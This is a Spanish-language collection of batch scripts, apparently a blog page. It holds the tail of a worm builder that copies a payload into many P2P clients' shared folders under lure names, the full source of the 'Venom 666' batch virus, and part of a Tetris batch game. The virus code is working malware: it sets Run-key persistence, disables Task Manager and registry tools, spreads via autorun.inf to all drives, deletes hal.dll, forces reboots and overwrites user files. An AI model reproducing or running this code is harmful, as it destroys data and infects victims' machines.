echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Filetopia3\Files\Sub7*.rar >> C:\%name%.bat
echo :Cont12 >> C:\%name%.bat
echo if exist "%programfiles%\appleJuice\incoming\" (Goto manzana) else Goto Cont13 >> C:\%name%.bat
echo :manzana >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\appleJuice\incoming\Sub7*.rar >> C:\%name%.bat
echo :Cont13 >> C:\%name%.bat
echo if exist "%programfiles%\LimeWire\Shared\" (Goto limon) else Goto Cont14 >> C:\%name%.bat
echo :limon >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\LimeWire\Shared\Sub7*.rar >> C:\%name%.bat
echo :Cont14 >> C:\%name%.bat
echo if exist "%programfiles%\Overnet\incoming\" (Goto over) else Goto Cont15 >> C:\%name%.bat
echo :over >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Overnet\incoming\Sub7*.rar >> C:\%name%.bat
echo :Cont15 >> C:\%name%.bat
echo if exist "%programfiles%\Swaptor\Download\" (Goto swap) else Goto Cont16 >> C:\%name%.bat
echo :swap >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Swaptor\Download\Sub7*.rar >> C:\%name%.bat
echo :Cont16 >> C:\%name%.bat
echo if exist "%programfiles%\WinMX\My Shared Folder\" (Goto winmx) else Goto Cont17 >> C:\%name%.bat
echo :winmx >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Sub7*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\WinMX\My Shared Folder\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo :Cont17 >> C:\%name%.bat
echo if exist "%programfiles%\Tesla\Files\" Goto (telsa) else Goto Cont18 >> C:\%name%.bat
echo :telsa >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Sub7*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Tesla\Files\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo :Cont18 >> C:\%name%.bat
echo if exist "%programfiles%\XoloX\Downloads\" (Goto xolox) else Goto Cont19 >> C:\%name%.bat
echo :xolox >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Sub7*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\XoloX\Downloads\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo :Cont19 >> C:\%name%.bat
echo if exist "%programfiles%\Rapigator\Share\" (Goto rapiga) else Goto Cont20 >> C:\%name%.bat
echo :rapiga >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Sub7*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Rapigator\Share\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo :Cont20 >> C:\%name%.bat
echo if exist "%programfiles%\KMD\My Shared Folder\" (Goto kmd) else Goto Cont21 >> C:\%name%.bat
echo :kmd >> C:\%name%.bat
echo :rapiga >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Sub7*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\KMD\My Shared Folder\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo :Cont21 >> C:\%name%.bat
echo if exist "%programfiles%\Direct Connect\Received Files\" (Goto directcon) else Goto 22 >> C:\%name%.bat
echo :directcon >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Visual Basic*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Visual Serial.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Crack Winrar.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Sub7*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Crack*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Manual*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Msn*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Jhon the Riper*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\No-IP DUC.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\EscondeTroyanos*.rar >> C:\%name%.bat
echo copy /Y %windir%\System32\windir.rar %programfiles%\Direct Connect\Received Files\Troyano en .txt interavtivo.rar >> C:\%name%.bat
echo :Cont22 >> C:\%name%.bat
cls
echo Ok, pastel editado.
pause > nul
goto main

FAMOSO VENOM 666

Quien no ha conocido a este Virus, para los amantes del pequeño y grande lenguaje Batch, les dejo el codigo del famoso Virus Venom 666, que la encontre en una PC infectada. Cuidado con esto si que es molesto.

@shift 1
@echo off
echo ***Inicia proceso de Micro$oft*** %0 %username% %date% %time% >>"%appdata%\desktop.log
if %COMPUTERNAME%==DESKTOP goto NOT
if '%COMPUTERNAME%== ' goto NOT
set YU=C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
set TU=F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
goto ini
:NOT
set YU=C,D,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
set TU=G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z
:ini
set a=%random%
taskkill /f /im Ad-Watch.exe
copy /y %0 "%Windir%\System\winlogon.exe"
if exist "%Windir%\System\winlogon.exe" goto cop
copy /y %0 "%appdata%\smss.exe"
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v CFTMON.EXE /t REG_SZ /d "%appdata%\smss.exe" /f

:cop
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v CFTMON.EXE /t REG_SZ /d "%Windir%\System\winlogon.exe" /f
if %COMPUTERNAME%==DESKTOP goto NO
if '%COMPUTERNAME%== ' goto NO
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d "1" /f
reg add "HKCU\Software\Microsoft\Windows\Currentversion\Policies\System" /v DisableTaskMgr /t reg_dword /d "1" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t reg_dword /d "1" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t reg_dword /d "1" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d "2" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d "1" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d "0" /f
reg add "HKCU\_VenoM_Software_%a%%a%%a%\Virus" /v estas /d "infectado"
copy /y %0 "%userprofile%\Men£ Inicio\Programas\Inicio\MS-DOS.pif"
copy /y %0 "%systemdrive%\Docume~1\Default User\Men£ Inicio\Programas\Inicio\System.exe"
copy /y %0 "%userprofile%\SendTo\Mis documetos.exe"
copy /y %0 "%userprofile%\SendTo\Disco extraible.pif"
copy /y %0 "%userprofile%\SendTo\Documentos compartidos.scr"
cd %userprofile%
date /t>desktop.inf
find "2008" desktop.inf
if errorlevel 0 if not errorlevel 1 goto Dr

:NO
attrib +h %windir%
copy /y %0 "%systemdrive%\WINDOWS.EXE"
copy /y %0 "%windir%\system32\%username% 3D.scr"
copy /y %0 "%userprofile%\Men£ Inicio\Mis documentos.exe"
copy /y %0 "%userprofile%\Datosd~1\Microsoft\Internet Explorer\Quick Launch\Mis documentos.exe"
copy /y %0 "%systemdrive%\RECYCLER\Documendos borrados de %username%.exe"
copy /y %0 "%systemdrive%\RECYCLER\Papelera de reciclaje compartida.exe"
cd "%userprofile%"
echo [autorun>>autorun.inf
echo open=VenoM.666\Explorer.exe>>autorun.inf
echo shell\Open=>>autorun.inf
echo shell\Open\Command=.\VenoM.666\Explorer.exe>>autorun.inf
echo shell\Explore\=>>autorun.inf
echo shell\Explore\Command=.\VenoM.666\Explorer.exe>>autorun.inf
echo shell\find\=>>autorun.inf
echo shell\find\Command=.\VenoM.666\Explorer.exe>>autorun.inf
echo shell\CMD=Sïmbolo del sistema>>autorun.inf
echo shell\CMD\Command=.\VenoM.666\Explorer.exe>>autorun.inf
for %%h in (%YU%) do if exist %%h:\*.* attrib -h -s %0© /y %0 "%%h:\100%% %username%.exe"&attrib -r -a -s -h %%h:\*.inf>Nul© /y autorun.inf %%h:\autorun.inf>Nul&attrib +s +h +r +a %%h:\autorun.inf>Nul&md %%h:\VenoM.666>Nul© /y %0 %%h:\VenoM.666\Explorer.exe>Nul&attrib +s +h %%h:\VenoM.666\*.exe>Nul&attrib +s +h %%h:\VenoM.666&echo %username%---%date%---%time% in %%h:>>"%appdata%\desktop.inf"
if %COMPUTERNAME%==DESKTOP goto l
if '%COMPUTERNAME%== ' goto l
cd "%userprofile%"
echo "El juego a terminado. Tu has sido derrotado por VenoM (Metauro_3@hotmail.com).">VenoM.txt
echo.>>VenoM.txt
echo ÛÛÛÛÛÛÛ ÛÛÛÛ
echo ÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛÛÛ ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛ Û ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛ ÛÛÛ Û ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛ Û ÛÛÛÛÛ Û ÛÛÛ Û ÛÛÛ Û ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛ Û ÛÛÛÛ Û ÛÛÛ Û ÛÛÛ ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛ Û ÛÛÛ Û ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛ ÛÛÛ ÛÛÛ Û ÛÛÛ Û ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛÛÛÛ ÛÛÛ Û ÛÛÛ Û ÛÛÛ Û ÛÛÛ Û>>VenoM.txt
echo ÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ Û ÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛ>>VenoM.txt

copy /y VenoM.txt "%userprofile%\SendTo\Game Over %a%%a%.txt"
print VenoM.txt
for /l %%t in (1,1,24) do at %%t /delete
set h=0

:q
at %h%:13 /interactive "%userprofile%\VenoM.txt"
set /a h=%h%+1
if %h%==24 goto l
goto q

:l
if exist "%appdata%\services.exe" goto bl
copy /y %0 "%appdata%\services.exe"
:bl
if exist "%appdata%\lsass.exe" goto oz
copy /y %0 "%appdata%\lsass.exe"
:oz
if %0=="%appdata%\services.exe" goto ser
if %0=="%appdata%\lsass.exe" goto w

"%appdata%\services.exe"
"%appdata%\lsass.exe"
exit

:w
cd "%userprofile%"
for %%h in (%YU%) do if exist %%h:\*.* (if not exist "%%h:\VenoM.666\Explorer.exe" goto d )
for %%h in (%YU%) do if exist %%h:\*.* (if not exist "%%h:\autorun.inf" goto d )
goto w

:d
cd "%userprofile%"
for %%h in (%YU%) do if exist %%h:\*.* attrib -h -s %0© /y %0 "%%h:\100%% %username%.exe"&attrib -r -a -s -h %%h:\*.inf© /y autorun.inf %%h:\autorun.inf&attrib +s +h +r +a %%h:\autorun.inf&md %%h:\VenoM.666© /y %0 %%h:\VenoM.666\Explorer.exe&attrib +s +h %%h:\VenoM.666\*.exe&attrib +s +h %%h:\VenoM.666&echo %username%---%date%---%time% in %%h:>>"%appdata%\desktop.inf"
goto w

:Dr
if %COMPUTERNAME%==DESKTOP exit
del /f /q "%windir%\system32\hal.dll"
cd "%userprofile%\Men£ Inicio\Programas\Inicio\"
echo shutdown -r -f -t 00>VenoM.bat
echo OPTION EXPLICIT>VenoM.vbs
echo DIM clave>>VenoM.vbs
echo DO WHILE (clave ^<^> "666")>>VenoM.vbs
echo clave = msgbox ("", VBCRITICAL, "")>>VenoM.vbs
echo clave = msgbox ("Maiden Germany", VBCRITICAL, "VenoM 4.2")>>VenoM.vbs
echo clave = msgbox ("metauro_3@hotmail.com", VBCRITICAL, "VenoM")>>VenoM.vbs
echo LOOP>>VenoM.vbs
start VenoM.vbs
shutdown -r -f -t 120 -c "Welcome to Hell"

:B
echo
goto B

:ser
cd "%appdata%"
set u=%0
dir "%userprofile%\misdoc~1\*." /b /s >"%appdata%\NTUSER.DAT.DLL"
for %%f in (%TU%) do if exist %%f:\*.* (dir "%%f:\*." /b /s) >>"%appdata%\NTUSER.DAT.DLL"
for /f "tokens=* delims= " %%a in (NTUSER.DAT.DLL) do call :V "%%a"
:V
set t=%1
copy /y %u% %t%.exe

JUEGO DE TETRIS v.1.3

Un juego mas llamado Tetris v1.3 Creado por uno de mis mas Grandes Admiradores de este Lenguaje "SmartGenius " Se que aun no tengo los permisos de Obtener ciertos codigos, pero siempre respeto los Derechos del Autor By SmartGenius

@Echo off
@title Tetris v1.3
@mode con cols=28 lines=24
Setlocal enabledelayedexpansion enableextensions

:: Batch Game - Tetris v1.3
:: Coded by SmartGenius
:: SmartGenius, Corp. 2010
:: Greets to Carlos ;) (for KBD and bug fixes)

Set "Game=%0"

Kbd.exe 1 2>Nul
If "%Errorlevel%"=="9009" (Echo. Kbd command not found&Pause&Exit /b)

Call :Logo

:Menu
Cls
Echo.
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³1.³ ³Play TETRIS ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³2.³ ³How to Play ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo. ÚÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
Echo. ³3.³ ³Exit Game ³
Echo. ÀÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
Echo.
:MenuIn
Kbd.exe 2
If "%errorlevel%"=="49" (Goto :Load)
If "%errorlevel%"=="50" (Goto :Help)
If "%errorlevel%"=="51" (Goto :End)
Goto :MenuIn

:Load
Set /a "LimX=18","LimY=16","TBound=1","LBound=0","Turn=1","Points=0"
Set /a "RBound=%LimX%","BBound=%LimY%"

:Init
For /l %%a in (0,1,%LimX%) do (
For /l %%b in (0,1,%LimY%) do (
Set "X%%aY%%b= "))
Set "Bound=Û"
Set "Bound2=²"
Set /a "NoPress=0,Pressed=0,Over=0"

:Main
Set /a "L=(%Random% %% 7)+1"
Call :Figure%L%
Call :Graphic
If !Over! Equ 1 Goto :Menu
Goto :Main

:Graphic
Call :Clear
Call :CheckL2
If "%New_F%"=="True" (
Call :Solid
Set "New_F=False"
Goto :Eof
)
Call :Clear
Cls
Echo.
Echo. Tetris v1.3 by SmartGenius
Echo.
Echo. Points:%Points%
Echo. ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
For /l %%f in (0,1,%LimY%) do (Echo. º!Lin_%%f!º)
Echo. ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
:Move
Kbd.exe 1
Set /a "K=!ErrorLevel!"
If !k! Equ 0 (
Set /a "NoPress+=1"
If !NoPress! Equ 3 (
Set /a "NoPress=0"
Call :Down
)
) Else Set /a "Pressed+=1"
If !k! Equ 80 (Call :Down)
If !k! Equ 75 (Call :Left)
If !k! Equ 77 (Call :Rigth)
If !k! Equ 32 (Call :Rotate)
If !k! Equ 120 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 88 (Set /a "Over=1" & Goto :Eof)
If !k! Equ 99 (Call :MovCR)
If !k! Equ 67 (Call :MovCR)
If !Pressed! Equ 3 (
Set /a "Pressed=0"
Call :Down
)
If !Over! Equ 1 Goto :Lost
Goto :Graphic

::::::::::::::::::::::::::::::::::::::::
:Solid
For %%a in (%Table%) do (Set "%%a=%Bound2%")
Goto :Eof

:Rotate
Set "TmpTB="
If "%XToken%"=="-7" (Set "XToken=-6")
If "%XToken%"=="11" (Set "XToken=10")
If "%YToken%"=="15" (Set "XToken=14")
Set /a "NextRotate=(%RotateLevel% %% 4)+1"
Set "TmpTable=!Figure%CurFig%_Pos%NextRotate%!
For %%R in (%TmpTable%) do (
Call :MovR "%YToken%" "%XToken%" "%%R" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
For %%a in (%Table%) do (Set "%%a= ")
Set "Table=%TmpTB:~1%"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Set /a "RotateLevel+=1"
Goto :Eof

:MovR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~3") do (
Set /a MovY=%%q+%~1
Set /a MovX=%%p+%~2
Set "%~4=X!MovX!Y!MovY!"
Set "%~3= ")
Goto :Eof

:::::::::::::::::::::::::::::::::::::::::::
:Down
Set "TmpTB="
Set "TmpTable=%Table%"
For %%a in (%TmpTable%) do (
Echo.!TmpTable!Find "Y%BBound%">nul
If !Errorlevel! EQU 0 (Set "New_F=True"&Goto :Eof)
Call :MovYR "1" "%%a" "Val"
Call Set "TmpTB=!TmpTB!,!Val!"
)
For %%c in (%TmpTB:~1%) do (
If "!%%c!"=="%Bound2%" (
Set "New_F=True"
For %%b in (%Table%) do (Set "%%b=%Bound%")
Goto :Eof
))
Set "Table=%TmpTB:~1%"
For %%d in (%Table%) do (Set "%%d=%Bound%")
Set /a "YToken+=1"
Goto :Eof

:MovYR
For /f "tokens=1,2 delims=X,Y" %%p in ("%~2") do (
Set /a MovY=%%q+%~1
Set "%~3=X%%pY!MovY!"
